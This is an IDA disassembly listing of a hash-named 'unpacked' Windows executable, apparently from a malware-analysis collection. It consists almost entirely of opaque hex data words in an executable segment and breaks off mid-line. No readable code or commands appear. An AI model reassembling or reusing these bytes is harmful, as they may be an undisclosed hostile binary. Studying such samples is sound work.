; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 832B6A6540D49FDB3743DC049CE302EC ; File Name : u:\work\832b6a6540d49fdb3743dc049ce302ec_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0010F000 (1110016.) ; Section size in file : 0010F000 (1110016.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 9C25E4A0h, 0FA794D3Ah, 0D2556E1Bh, 0C25F7FEFh, 0EC6370F7h dd 0CC7377E1h, 0C223D8CDh, 0F54559B4h, 0D135EA89h, 7C2D747Dh dd 3B404864h, 0FA325A68h, 0C230DFEAh, 0DC07A0DFh, 31A8C5FCh dd 193B7A51h, 38F50328h, 0F6CC195Fh, 138802FBh, 0C342A6CEh dd 0DC3CD5B3h, 7A319534h, 112FC33Dh, 8C0648E8h, 7CF05477h dd 432F9AD9h, 0C99D9FCDh, 0D4CD41FBh, 388FA128h, 0CBC733C2h dd 0DB4BC441h, 0C23C8030h, 7AC23965h, 102FC115h, 0E84C43EAh dd 0C1A754C7h, 40BE6BE1h, 0DDA3CC0Bh, 0C3F7A748h, 0FD07BBCDh dd 8175C6Eh, 0C6D4797Fh, 22C6EEE1h, 0DE2CE3C7h, 0D33169DFh dd 3883AD28h, 0CCC6F73Fh, 0DA2F3BA7h, 0D63CA264h, 512F7349h dd 92ADFD6Dh, 0BD705FAAh, 75EB67E1h, 2404EFCEh, 44FF017Bh dd 7219F92Ah, 1B432260h, 38C57E65h, 0D6286AF8h, 40E6FC9Ch dd 3031AB4Eh, 1A6C0328h, 0B4B77E3Eh, 0DADF7BCEh, 0B078C67h dd 7C16D6Ah, 0DF3EF8E3h, 0B8B83064h, 3EE225E1h, 250D6861h dd 441A3D4Ah, 1439157Ch, 20F373AAh, 53D6B7E1h, 0C994F8F4h dd 0C3625F54h, 25FF45D9h, 3C0DEFB2h, 2C707470h, 82C01524h dd 0C0D99FFBh, 27281B9Bh, 1AAF6128h, 1AC2BD8Eh, 0C5B5B4C9h dd 0DCB319E1h, 0E5155765h, 6E97E78h, 97BC4860h, 1D8566E1h dd 0C83CC182h, 0DB2F7C37h, 0D53BFC71h, 0AB5E616Fh, 0CCAD5029h dd 0DC26F5E1h, 0A36324A1h, 0E72FA75Ah, 133BC088h, 0CD834017h dd 306D12Ah, 0A31956FBh, 7505D3Fh, 0F1359799h, 13AD6D39h dd 7CCB01E1h, 52ACADEDh, 2AE1FD01h, 0B8712564h, 3885AE3Fh dd 75EA98DAh, 77A8E5D8h, 78F6E2C7h, 0DD8C544Ch, 0F3661C3h dd 8A165328h, 384A56C6h, 465D5761h, 5BC0A1C7h, 0C220BADFh dd 835B186h, 78E477C2h, 656C5E02h, 0C36BA65Ah, 0D602836Fh dd 6FE392A0h, 38966A30h, 43F468D0h, 0D76E503Ch, 0B13003A9h dd 62ED8160h, 3E4C4128h, 252FBE2Dh, 0B83B9096h, 67173328h dd 750F6590h, 0DA275307h, 2A3C4EDFh, 0E2FBFD0h, 1A54DD2Fh dd 0A2E9FD28h, 7C409D64h, 0C36135C9h, 5DE0ED02h, 45B0BC75h dd 0D9C71A39h, 0C3D19FF4h, 0DD79B48Bh, 20658C4h, 47F252D3h dd 3EA551C7h, 243158B0h, 7517ADD5h, 302FF97Eh, 38DC5CFFh dd 3E8536CBh, 7DAC92A2h, 1B323C60h, 3F141FFFh, 28E12EB5h dd 13FAA70Bh, 0A2003ECCh, 49317784h, 0B6E574D4h, 0C3B159F4h dd 0AAACEF95h, 1A49FC63h, 40BC743Eh, 67AD06F7h, 0C56667D2h dd 8B358FA7h, 507B6D3Fh, 7CE8CFE1h, 84AC47BBh, 3854E0B9h dd 1CC79359h, 208524CDh, 3BF689E1h, 0C2318385h, 0C551454Eh dd 8F3D9093h, 2AD770FEh, 0FEA6D50h, 0BB13ECD9h, 376A1E1h dd 0F2D475DDh, 5831C345h, 44DA7E4Ch, 0A12FEDAAh, 9292B9FBh dd 0C9DB746Ah, 7EA1A920h, 243B84A5h, 402FE0AEh, 384C77D1h dd 46B767F9h, 0A570BCEh, 5B363217h, 21EB5CBAh, 0C37FDFDFh dd 0A735DE2Bh, 0E217F97Bh, 4DE2B451h, 4C757893h, 2EC7D9C7h dd 0DDEEF2FBh, 0D68227D9h, 6F281773h, 0F6375269h, 418A56F4h dd 82F8ACE1h, 0C31801CDh, 7D2FAE8Dh, 80DAB0Bh, 2094DFCFh dd 0D58F6A79h, 48A6B2B6h, 7E76D4CDh, 240E3BF0h, 0C52838C5h dd 759974E7h, 0F95C5678h, 0D8D216FFh, 8DE025C2h, 0F8F56DEAh dd 5F2B6AC1h, 8CBE8FAAh, 5B1A9C7h, 2A28E56Ah, 0DAD0FECEh dd 3406E36Ah, 0AD68B68Bh, 0C3FF62F4h, 2B61E60Eh, 72C43D3h dd 2D97FD06h, 0C3C08B63h, 9B35778Bh, 0C7FFFC9Fh, 0D6EFD7Fh dd 0C3841060h, 55AD241Ch, 5EB0FC01h, 7AB5835Dh, 18E854C7h dd 7F2DC23Fh, 40DE47D9h, 1F310063h, 0AFE2C92Bh, 162AB5FBh dd 88D141E7h, 62C7B7Fh, 0DF9EF93Bh, 3584D00Bh, 0C363141Ch dd 243BEF31h, 42FA18Ah, 0E33BF688h, 9733C67Fh, 0D5D66A7Eh dd 0C5F4286Ah, 0C3AD3EA4h, 66A8F789h, 1B8D5F99h, 880F836h dd 85CB6AFFh, 3BAC4FC2h, 0D635F24Bh, 8236105Ch, 18F2778Bh dd 0B46F4FFh, 0CC93748Ch, 70043060h, 2F2CD277h, 5B7F97Ah dd 0B8F47BD9h, 45A0A83Ch, 0D41B7277h, 45045E9Ah, 730580CDh dd 0C9B68BBCh, 2EC037B1h, 0B42FF0B2h, 0BE7882EDh, 3803BD3Fh dd 75076072h, 0C83CFB63h, 0BCBA044h, 813BC1C4h, 0B5BD436Ah dd 0D130B5FBh, 0FC62EC2Dh, 59A8BC26h, 3B34566Ch, 0F6C7AE3Eh dd 2CB123C7h, 90E0D4E1h, 6E17F509h, 0FA916DDFh, 24696A1Eh dd 0F1BC79A8h, 73B50627h, 0C5875682h, 8B08D9F7h, 2F68BA24h dd 0CAC7CFD9h, 0DC6E00E1h, 0DAFBD5CDh, 0F915AF31h, 48157ED5h dd 0DAF86A7Eh, 6EC002F3h, 240247CEh, 0CF178083h, 94377420h dd 0D309E527h, 0D7D33CF7h, 0C5CE9728h, 8D3CB67Dh, 1B51799Ch dd 940D7567h, 0C366BEF4h, 0C5ACADBAh, 1C28FDDBh, 0F15351A8h dd 386A4728h, 0ECEDA4E3h, 75DB4508h, 0C3AD1367h, 18AD1737h dd 2E3BFC8Ch, 0DD469F4Dh, 0C554514Bh, 176F74C6h, 6CE9B3FFh dd 0AD68BF28h, 46E37D4Ah, 43227764h, 0DF31ECC3h, 0FCF4E83Fh dd 0C15B7Ah, 0F6067CC7h, 25A49728h, 2D2FEF7Dh, 180DFDDEh dd 0D574ED91h, 7CC07E5Bh, 7C6F63FBh, 20AD0B5Fh, 0D993F921h dd 9C9597E1h, 4AFDD8E4h, 5BFEF414h, 112FF9FCh, 556D5197h dd 7AEC61EBh, 3017A0ADh, 899C3DE6h, 73BF697h, 71EF54CFh dd 5B624864h, 7E7C3478h, 25282A60h, 0E50DA775h, 0F015551Eh dd 453C7E6Ch, 0D5675C7Ah, 0C4075B23h, 0BB358267h, 9631F88Bh dd 4B3E4B96h, 3381F9C4h, 8EB565CDh, 0ADB5DEFEh, 0C9B2906Ah dd 507D640Fh, 79B3746Eh, 0F2C67E64h, 31DD5860h, 2A5EE0A4h dd 0C12F02D9h, 0A7EC8CFFh, 0C943A698h, 0FD0C0A8Dh, 5B91F9E4h dd 73C7E541h, 0DCE74EE1h, 9FFE929Fh, 3898E524h, 0A09622F2h dd 40F157E4h, 2CF81BF3h, 1BA80578h, 0AD6A659Dh, 89FD79D3h dd 3E8471E1h, 42ADB86Dh, 683DD2DEh, 21644BB0h, 40AF746Fh dd 0C3D2D3F4h, 316F0A4Fh, 0AFE7F350h, 95316316h, 0DAA94000h dd 0B0D72CEDh, 0F6AD3611h, 0C6F4E459h, 9A408672h, 0A36E8ADEh dd 68218126h, 78B4C764h, 0DCE33E26h, 0D53B6ECAh, 0A3067D7Fh dd 9AD3673Ch, 78AE6720h, 0ECEEEF33h, 0D5577207h, 0C40EFBF6h dd 5ACF357h, 87B6CDF8h, 496E717Fh, 0CE314860h, 95C6F5FBh dd 0DB5D2EE1h, 3E0CB3FAh, 0C0EA4D9Fh, 17C35E2Ah, 3D4667E1h dd 0CCADD812h, 72C7A12Eh, 7ADAB73Eh, 46877CC5h, 0C2358C58h dd 0D3D27EDh, 75115C2Ah, 55ED4564h, 0DE5B2A3Ch, 54070EFBh dd 0DCF8B5C3h, 0DDE7A605h, 0C23CE00Eh, 5F0E1D83h, 1A323FA0h dd 189AFEFCh, 0F109FC67h, 0CDAF61FFh, 8D042BADh, 683573D3h dd 8145D2Fh, 79CA1E24h, 734753Ah, 4EE85C13h, 7F08D2E4h dd 61AC018Eh, 0E9CFAB6h, 3FC7B5F8h, 0C830E8E2h, 488467D7h dd 4DBB8159h, 0C8CDEF26h, 64A1107Bh, 88F429Bh, 7BD267FBh dd 0C3C864DEh, 5B7A8FF0h, 5AE3597Ch, 0BCB9404Eh, 97E0DCB9h dd 2BB6A079h, 39013C22h, 9B166A07h, 187B7030h, 214E6682h dd 259130CEh, 122FFE8Ch, 27A27791h, 7AB624FEh, 0CC075CF0h dd 53B7B55h, 903D3D03h, 0F4C7E75h, 0B9013664h, 0C21EABD9h dd 0D7A77CDFh, 0D6355678h, 7C9E74E9h, 5EC1AE64h, 0D7B11560h dd 3E6441C1h, 45AC7B7Ah, 0C968F917h, 0A7E152FBh, 4037238Fh dd 0EF067208h, 1627BF22h, 0CB8EDF81h, 0B86F64F7h, 362FF325h dd 171EA4CFh, 0D24000FEh, 79F65CEh, 5EE9BF41h, 0DE857D0Dh dd 0C9967973h, 76FAAF45h, 0E389FD3Eh, 44CC5FA1h, 0BE6CB641h dd 0DC067BE1h, 61E0EC32h dd 0E7E0F908h, 4E5E416Fh, 0C951702Ah, 0C3F985DFh, 0D7B02EE1h dd 2436F41Ah, 0B33BFD13h, 3A3FD62h, 0CCFEE778h, 2F314253h dd 6A283F1Fh, 588A439Bh, 2DE1CFA7h, 13B3C08Bh, 0D246675Dh dd 89EA6E16h, 35A44128h, 0C3928E2Ah, 4DE53CEh, 598568Fh dd 0B906B5F9h, 0AB8657CBh, 3F0797E3h, 2A2F5D09h, 5AFAAD36h dd 3C2F6C68h, 16039D78h, 0C7EFD6Eh, 1C2179A1h, 0D6E6349Bh dd 0C9A870C1h, 0E42F4BCAh, 933B890Eh, 0B25361B7h, 5A1714FFh dd 3FDF98CAh, 0DBB07D74h, 2FFA5D07h, 0DA738CCEh, 16066458h dd 15DE57E0h, 40B490E1h, 0C36EFF1Ch, 0A930A171h, 161574D5h dd 0C36489F7h, 0C5C65765h, 30357DAEh, 0DAFC6078h, 0DA5B663Bh dd 0CC064212h, 0E4E059A8h, 0DD106ACEh, 28B4FA6h, 0D4A3415Bh dd 977F4176h, 0D75AC32Ah, 0C98664DFh, 0AE36E400h, 0AFB05B6h dd 28297628h, 0C2106D2Ah, 0D7ED16DFh, 5C36B2F2h, 8B0642B6h dd 0D9EB5CD3h, 0CDED744Ch, 3717B4DBh, 43AD41C6h, 0E49243CFh dd 3E95BBFBh, 0C3A9D911h, 0CBEF4221h, 0F031BC4Eh, 820C7F2Fh dd 0DA974275h, 43565B2Eh, 255BCCCEh, 561776B8h, 445E7725h dd 55854071h, 0C9B67C3Ch, 0BE5434E1h, 3154BC33h, 4E485C0Bh dd 0AC662F3h, 5000FDBEh, 3C8C46BFh, 0D83086CEh, 0DD6C6732h dd 0DB0F1E3Eh, 27D623C2h, 8EEE79AAh, 1271B5D9h, 1398A0FCh dd 0BEE73DC1h, 58C58828h, 54C8B76Eh, 0F78172C3h, 51FB7EDEh dd 0DDBC6F7Fh, 0EE977436h, 0C97B7BF4h, 0E8ACBF47h, 0A6283FEDh dd 3A8F217Fh, 21A68014h, 0B206664Ch, 58826135h, 0F8B317A9h dd 4A5F6964h, 9A95E155h, 38B9EB28h, 6B84ED1Dh, 16ADEFC9h dd 6C35F9C7h, 0D8D06036h, 2B89AA46h, 0CC102FFFh, 372F474Bh dd 0C3FF432Fh, 0C416E3FFh, 3FACB75Fh, 1FA89530h, 1B76704Eh dd 0D749F86Ah, 0CFFC86F4h, 0BEFDB6FBh, 0C2384BD9h, 3BB62C26h dd 0DDA87738h, 0DD31BCEDh, 4DF1F928h, 1CA47D1Ah, 0D7638E60h dd 0C38EA15Ah, 0CB16CCFFh, 4A84CAF0h, 1086C77Eh, 39B9F92Ah dd 49B61DCDh, 0C3AC96E0h, 1C1B41D2h, 38C0AD28h, 3C13A1Ah dd 0F8910F25h, 0C3DCA3BBh, 0F36C640Ch, 7931F739h, 3885DE58h dd 2DE0D97Ch, 0DD6BA765h, 40007F8Eh, 3B1D20A4h, 76C23615h dd 8DACEBE1h, 7D1AEB27h, 489D5CD8h, 5D025C8Dh, 0BCC1476Ch dd 218075C8h, 31B11E11h, 5A1382Ah, 1F28BCFDh, 82BF127Ch dd 0FCD9B7E1h, 4CB38003h, 44603CCFh, 0D59A5C7Ah, 0CAB25CC6h dd 72E10EA8h, 9D043F3Dh, 0D4117DE6h, 4ADCC564h, 0EE806401h dd 6431F347h, 0EC0931CFh, 0D7AB12F9h, 7B340730h, 8CEF9F33h dd 0C303C7Ch, 7D3A9B64h, 0C20A4AA9h, 17E6B7B8h, 376E6639h dd 32217EC8h, 0DF1EF529h, 0D5341EE1h, 0C406FBBAh, 118569Ch dd 5E76E231h, 2A6D67CEh, 0BF3BFE33h, 0AA066908h, 0F69A6693h dd 0D7DFCCDFh, 26358A18h, 7D3E742Ah, 0CAE610FFh, 2F22F6Ch dd 8E42BE91h, 78757D0Dh, 0EC06C97Eh, 4AB5F795h, 9003EACEh dd 616D2C4Eh, 0D8D5E6CEh, 0CC16CF82h, 7B2F77C7h, 263DEBD7h dd 6AAE5C18h, 31C16EEAh, 0DB7987C7h, 0C80250D1h, 45E1C40Ah dd 0C56844E7h, 3C1D521Eh, 0D2BE87FFh, 1A2F9E33h, 2A0D621Ch dd 2E7A7D24h, 1C8D65A7h, 42571142h, 0E736852Eh, 2A61537Fh dd 36846C7Dh, 2141ECDh, 0D16E2342h, 0C57DA77Fh, 7E0E05A0h dd 90E67952h, 679D68FBh, 0B763DF5h, 0C9B3E8C9h, 0DC06F4D2h dd 0FB31F736h, 46EBCDC9h, 0FC9E54CDh, 0CA8B93B9h, 0A5AAF3Ch dd 493E3721h, 6DA57EF0h, 458874C5h, 0C365C2F4h, 61ADC63Eh dd 7F3DE1CEh, 0DAD7705Eh, 0AF5A6C37h, 781DACFBh, 0DE3E81FFh dd 4D10E76Dh, 0BB1670Ah, 40ECB561h, 0C36F6711h, 5591F56Ah dd 0B32FC123h, 0C4C3BFB0h, 0F74CA77Ch, 8CBBD1FBh, 0A2FE00Eh dd 0AEDA675Fh, 0EE6E2CCBh, 4E216BEh, 0A5AE759Dh, 69717DD2h dd 0BFA6E575h, 1625EDA0h, 0F7CE8513h, 3BD5C304h, 55D4A08Ch dd 7D78B567h, 743524CBh, 0F8C5A480h, 0D8E0C2E0h, 42277825h dd 0D4D0C668h, 18C0FCCDh, 79E58DF5h, 7525CFACh, 403191D9h dd 7A34E678h, 0F918DAAEh, 43E5A160h, 683F51EEh, 9AD6B29Eh dd 41F37504h, 0C300B9E5h, 0F6332A84h, 0D94868A4h, 37395428h dd 0F4E8BFA5h, 9A271DD2h, 0B50451A4h, 0F514C3FCh, 98365784h dd 0C0FBFDC3h, 9ADF3DC4h, 0D4D452DEh, 435256E9h, 609089EFh dd 1D10A6Bh, 9B4C49FCh, 15F4252Ch, 0FFF723Ch, 0CF29FA3Fh dd 42000C84h, 9E0AE2A4h, 6FB16293h, 8A34403Ch, 0E37A388h dd 14CBC0Ch, 3906C1B0h, 358A0B6Fh, 438F976Ah, 4160B958h dd 0A54B115h, 9F0F3A94h, 0F2ACD5B8h, 6DAF04E4h, 4DA4FB01h dd 3E8E29F4h, 0DC2569D0h, 0C4357D84h, 0C47635E0h, 4204299Ah dd 0D3CCAE60h, 16FBC354h, 0C1E7B87Ch, 0C8C8C1FFh, 7F25F4A9h dd 434485A0h, 3B677C2Fh, 0B055317Ch, 54D1472Ch, 72AFB33Fh dd 0D8D0609Fh, 92657DD8h, 0FDEAF8E5h, 784F786Eh, 0FCB6B7E4h dd 9F0484FCh, 0D5A91E93h, 0B933EE62h, 225F5DBCh, 98E37483h dd 5C79693Ch, 432558FCh, 0A69A44Fh, 0DD1F93FCh, 3E34C85Ch dd 9F217CADh, 0F52CA743h, 3B4C03DCh, 47F56673h, 0BCB51DE5h dd 9F2D2476h, 46477913h, 5C9E56Fh, 0CF2759FCh, 114C64E6h dd 0C36D907Fh, 443524E4h, 7B2F3752h, 0FFAC75D3h, 9F29C4E8h dd 46F479C3h, 0D14C7BFCh, 0C740EFA4h, 0C4EC0568h, 0FF171A8Eh dd 23E71CECh, 0F93554EBh, 0C52E84CFh, 5D05F7Fh, 0B00477ECh dd 0F70576D7h, 432275F9h, 0F4E6710Eh, 6AEB75C8h, 0DB2447FBh dd 0CED6EDFCh, 0C700052Eh, 3533968Fh, 0DD3467ECh, 93E557E5h dd 6A34B713h, 0F7056CD7h, 2D9875FEh, 0C42464F6h, 0CF2C00FCh dd 7C24F5F1h, 0D338BBFCh, 0C4AD057Ch, 47396975h, 9734FCECh dd 0F4B46BF0h, 0FC0D7564h, 0F73BBD60h, 46D67528h, 65246524h dd 0C49FB668h, 0D52464C8h, 0FD2066FCh, 0F73567FEh, 4AE966FCh dd 0C72474C9h, 3C9DF3C9h, 963441ECh, 0F701BD62h, 390C7528h dd 0F70261E1h, 65E375CEh, 8634622Dh, 9DBBFCB3h, 3C9BC76Bh dd 0DD4638FCh, 0F228D584h, 9F0E7562h, 0C30DC14Dh, 474C5E0Ch dd 0FCF3426Ah, 18A41DC0h, 9F09956Bh, 0ABE3831Dh, 174C5BE4h dd 27D52408h, 0DBA2B584h, 272078FDh, 30164584h, 3B4C54D4h dd 78CF66DDh, 25041DDEh, 9F174D77h, 0BE077A29h, 0DC7A5178h dd 0E9E374B0h, 0E74C50E4h, 272A660Eh, 97E01DDAh, 2FB6B4C9h dd 0DA3405FFh, 9F1C876Dh, 49432F6h, 9F1D873Fh, 0C634E7E6h dd 9F1E55F9h, 0FC730FCFh, 33657035h, 56291E84h, 332C722Ah dd 43BC2E84h, 0BE2CDEE8h, 3B74A6AFh, 0F8E25D61h, 5730E441h dd 0C46086F5h, 54BE57CBh, 0ED045893h, 0DCD25C8Fh, 0D9AA09DCh dd 0DA307022h, 0DC720CCCh, 0E4343B61h, 0F7A60644h, 1EF697CAh dd 55653F4Bh, 0F8663DAFh, 4867E1C8h, 0A0032ACh, 8FD6AD1Ah dd 483AB768h, 4534A6A6h, 991F9D9h, 12B7AF91h, 0F70AF691h dd 7A0084BFh, 2BE72BFCh, 9C2E04CFh, 0BEC0F9B8h, 8D7932C5h dd 81DB68DAh, 17A53D65h, 0F4CBDDFEh, 0C83533CFh, 0EBB2328Eh dd 7CF19524h, 0D57292F7h, 3C35218Bh, 0C4A7305Eh, 0DCD5F762h dd 0C4ECC02Bh, 9F2727B1h, 654E785Bh, 3C8140C4h, 544898FCh dd 4103817Bh, 80C715Ah, 2C76756Bh, 69E21DEAh, 274135CDh dd 12BD618Ch, 0FD638EFFh, 0F672BE4h, 0AAA1EAB1h, 5A9A8CB1h dd 797B2E35h, 0F6DD2E7Eh, 0D10C126Eh, 417F9768h, 310763D2h dd 0E6BC30Bh, 44E4959Ah dd 3AECC88Ch, 0E0A7E514h, 0EF17B28h, 50389F35h, 7F2D68E8h dd 293BF83Dh, 0EBF407E6h, 8D611DEAh, 0CC773E86h, 7C6C7392h dd 1A76A9C8h, 12F82D8Ch, 0ADF5B56Ch, 0BEE0A41Ch, 3718EC8h dd 0F2E03A36h, 55D8FCCAh, 8A661D34h, 0C3B36559h, 52120649h dd 142CE2E2h, 0D8F0DEFEh, 9CF60526h, 20F7DC1Fh, 38A004F0h dd 7E4EB563h, 8A983B7Ah, 410C6739h, 8594643Ch, 0C8397173h dd 8BA07A71h, 2EBDA3EFh, 431712Eh, 70E86384h, 0D5264762h dd 4EA9602Fh, 0AF51C4Eh, 8878B97Ch, 42C0F465h, 5097F7EBh dd 0CA355CE9h, 0C2E2F79Dh, 67D2D84h, 0FB6C5DFFh, 1373162Eh dd 749E445h, 0CE46BB58h, 0FEB200DEh, 4C2E2120h, 0E28535F7h dd 0D27CFD8Fh, 5A2C01CFh, 0C0A1A6BAh, 71AB6FAh, 6B74C36Bh dd 5C0D7372h, 0E085E3E3h, 2DAE43FCh, 0FF222C72h, 4930813Bh dd 95487E1Fh, 0DC34319Ch, 0CA36BB14h, 372C81D9h, 552917FFh dd 6546C46h, 8FE722E4h, 0FEB455C9h, 0E4CB0664h, 0AB8EA9Eh dd 5C2A6C83h, 5AE07576h, 0C41B1FDEh, 0D4EEB773h, 0AC2C02D7h dd 0C44F3039h, 89678FDh, 9300BF70h, 0FD4230BDh, 9935F326h dd 0A064B08h, 0FCE6BF72h, 9EA49ACEh, 0C5A37877h, 45B6E7E6h dd 27000126h, 3A78E3E9h, 442F64D6h, 352E3DF0h, 1BD830C5h dd 0BAE7294Fh, 3D006ABEh, 0CC4288BDh, 3A7E83E4h, 8E6771D6h dd 0C72F2724h, 9283308Dh, 72AE9E29h, 0CC269424h, 8F2C9337h dd 73F781D6h, 3B283D24h, 0D57CB575h, 2F1720D3h, 86F3CF24h dd 0DB29617Ch, 0C4B67172h, 9706CBD8h, 890F7526h, 0C0E0A971h dd 4CBE42CEh, 9707C117h, 6C762764h, 4E903B06h, 95FCC906h dd 0C034FBBBh, 25700868h, 0DC2F788Fh, 0D460BF74h, 89313735h dd 0C0EC8220h, 905E8E3Dh, 8401A847h, 5002CF3h, 23F05D37h dd 382A8D64h, 43C5666Ch, 3E0872A3h, 582BACB1h, 43C50270h dd 0F8B083A3h, 0A0509DE4h, 955F939Eh, 0A3F2FD23h, 0C73443B7h dd 0C1225C06h, 0A569D384h, 37516538h, 0DF4C8A7h, 810B7CB8h dd 0A7344800h, 0E71BFCECh, 1104E8E4h, 83AA6422h, 320779FFh dd 2EEE93FFh, 0AF24A3EAh, 0C4C6BBB9h, 0DD662795h, 0F9AC0286h dd 2A21B367h, 39F8B0A0h, 17F4013Ah, 0C86A832h, 0F490A74Dh dd 34913335h, 0AA7CC13Bh, 0BD1256Ch, 0BBF2BE3Bh, 0D236F517h dd 0F754FC35h, 22CA6163h, 53076099h, 42E42490h, 1DDA06E4h dd 0EF000C6Ch, 0D62793BDh, 2211E3Bh, 0F427702Ah, 243D2CD9h dd 78FBF16Ah, 0C3D05DACh, 30F6266Ah, 0C83B1DC6h, 6A00F02Ah dd 9F088284h, 1F28841Fh, 4CE063E8h, 6229EBA2h, 9F257D52h dd 7A0B6C0Fh, 0A31001ACh, 8FF4BE2Bh, 9C73808Bh, 0B914C0F0h dd 9F2560CCh, 967CB8BEh, 430743A0h, 820D5644h, 5EE061A3h dd 0A959355Eh, 0BF466879h, 0CD85ACDEh, 0BBCC44E7h, 0FBEC302Fh dd 0A00AB450h, 1B847912h, 53E2CE21h, 0D7760406h, 5DB8FFA4h dd 984C7C58h, 0B9DA9C27h, 65BEE43Ch, 154C0668h, 0C0B8FD1Fh dd 829D5F84h, 4B81B408h, 0CA62FEC7h, 7CA96052h, 914D1BA4h dd 53DE3934h, 0A58EEDBAh, 0DD3872DBh, 2D254070h, 3AA175A4h dd 38C52042h, 288E7EFh, 0D1EABF20h, 61AADDFDh, 0D551D539h dd 27313780h, 2F9467Ch, 8722E8CFh, 0FCE2BFFBh, 0AFE5DDA7h dd 0CCB165C5h, 42279E7Eh, 0D880FFA0h, 0EEE54540h, 0AD61C6A6h dd 0C44C895Ah, 0DB8530A5h, 0AA260118h, 25271EEFh, 2892F6B1h dd 7B6E1F4Ah, 80342997h, 0A7A4D4Fh, 2858F3FEh, 631D773Eh dd 0A36A2FA2h, 0F9B4F59Ah, 0C56EF06Bh, 0C794BD3Ch, 9F0DC678h dd 782CBE58h, 0FCF0AC1Eh, 0CB05FC3Eh, 7B22C4C0h, 536B40CEh dd 579655Ah, 0CFE0BBE8h, 7CC3ED04h, 0D9A6186Bh, 7FF283FBh dd 2A01B526h, 2F3CB5FDh, 7571B4F1h, 0D985851h, 5CEAC1Fh dd 9CBB7946h, 54105922h, 8496268h, 23B7692Dh, 0CF0DA6BBh dd 0D84C7DD4h, 0E49D3297h, 0E9B63CEFh, 47827176h, 48727C04h dd 6B6EC2F8h, 33C37F06h, 3F1438C6h, 0A5B77536h, 0C02B6670h dd 81711DE7h, 0C2AD78C9h, 38F1F564h, 42DB2836h, 0C56CDE2Eh dd 40C29A7Bh, 0BDAE6471h, 0E0BCEDD6h, 8F84761Bh, 0BC9E6512h dd 9CF275E6h, 1A5E7ABh, 0C548161Bh, 5029627Fh, 777E3F7Ch dd 432B63F8h, 0B4F8234h, 22E540F0h, 69F2F769h, 7B931DE5h dd 0F2221ED1h, 0B09599B9h, 0D01DA891h, 0B8A5AE5Ch, 0B52B8509h dd 0D48681E4h, 0FF2E542h, 0AD5D7361h, 0A8316456h, 68607DA7h dd 46C4748Fh, 0C600F12h, 2C7766A5h, 0D8D5A12Bh, 7F05475Ch dd 85A146A7h, 2ACB82FEh, 0BAFA0627h, 0DE2C80E8h, 2E221C3Ah dd 1103970Fh, 0CFAE65DCh, 25209C65h, 0F36C72BAh, 9F005F22h dd 74A3C88Bh, 345E66D4h, 0ACB7B2ABh, 0C00D4148h, 0EF64F37Ch dd 0DE67B37Bh, 0BB05E8E4h, 0DF6810E4h, 865204DCh, 0C3293A4Ah dd 350EBD61h, 5A350DEFh, 0FE524405h, 31617521h, 0C6FE8248h dd 8F2417A9h, 958873B9h, 0D5AB1CB5h, 0B50FC944h, 6E654EE8h dd 9C46CCFFh, 1974C1FCh, 0D025E6D0h, 1125D50Dh, 0DC4D95D7h dd 2EA637C7h, 0A3218EF1h, 0FC26277Ch, 70DE562Ah, 41A08466h dd 47698B02h, 9F2DF213h, 16433ED2h, 306245C8h, 822B570Bh dd 0BF3D8107h, 0FA474534h, 0CDA27867h, 47B7FB66h, 3513B521h dd 4FC5B41Bh, 9C25C1D7h, 1509997Ch, 0D5299E3Eh, 3DB53E9Bh dd 0A4A0C395h, 39C5406Bh, 31A3FFF6h, 0C226E4D4h, 9A30C0BAh dd 74E1BC74h, 0BDF4477Eh, 65610E01h, 1BCB3C17h, 0D9D78D6Ah dd 82F9E492h, 0EF16E24Bh, 70BC3CEFh, 98666B23h, 0B8655899h dd 45309D86h, 12AFC35Ah, 0F8071BB8h, 6385DA0h, 6726FC6Ch dd 7E983BDDh, 0A9344DF5h, 2832E13Dh, 9F10E0CCh, 0AD7645FAh dd 2B85740Ch, 4898FBACh, 7994BD53h, 0C588160Ch, 5377849h dd 0EEE1033Ch, 0DC487CB1h, 0F4286E0Ch, 87222669h, 70EA5F5h dd 3568A355h, 1EEE7C28h, 395805E4h, 14A2AE8Dh, 78DB122h dd 886E7DD9h, 4B0646C1h, 3DB5F280h, 0DA589D67h, 0F6B4EEh dd 0BA555124h, 9D765DD0h, 0B3272BC7h, 7535717Bh, 4C602784h dd 5863548Ch, 0F4BFF2FFh, 0C32D5C24h, 0C2C7087h, 7875CB7Dh dd 4C629C84h, 0B8E28E10h, 50E7F1D4h, 190D7E88h, 67FF1D60h dd 555FD157h, 0A8B4DA20h, 5AB13C2Dh, 333470A3h, 0CE84BD1Bh dd 0DBE09C82h, 409F7AD0h, 0BC9D76E7h, 7075E713h, 2F8407ABh dd 1E3CB907h, 16007E99h, 0FF2EE43Ch, 0B9223A02h, 85F921EBh dd 64B87BD9h, 5596DDA1h, 164D03BEh, 0F8B64E5h, 0BC6E74E0h dd 0BBE739F4h, 0DA1590FEh, 0BFE8E0CBh, 6996522Dh, 369DEF55h dd 0FF0FE0DCh, 9C2EC7AAh, 0BFACBDF3h, 0BCA6F4E3h, 0C5539D68h dd 7F4604Dh, 7125DEA9h, 6F4A938h, 0CF6E63FCh, 0A96F1561h dd 0FE1ABBD3h, 43C07CCBh, 98327A32h, 22D442B9h, 3991B4CCh dd 784658B0h, 0EF413F9Bh, 0ECAF6108h, 7AAB5ED0h, 0BF351DEBh dd 0FF051319h, 0BAF5CD90h, 0A5EC17CEh, 244C016Eh, 0D32C6DAEh dd 0FEC7A6AEh, 7F297AFCh, 0DBA93DA4h, 111BC6A6h, 0C91455A0h dd 0DD601584h, 18A065CFh, 0D102CE70h, 122C0337h, 0FF6DC329h dd 4D6305E8h, 0D3606553h, 14C20A72h, 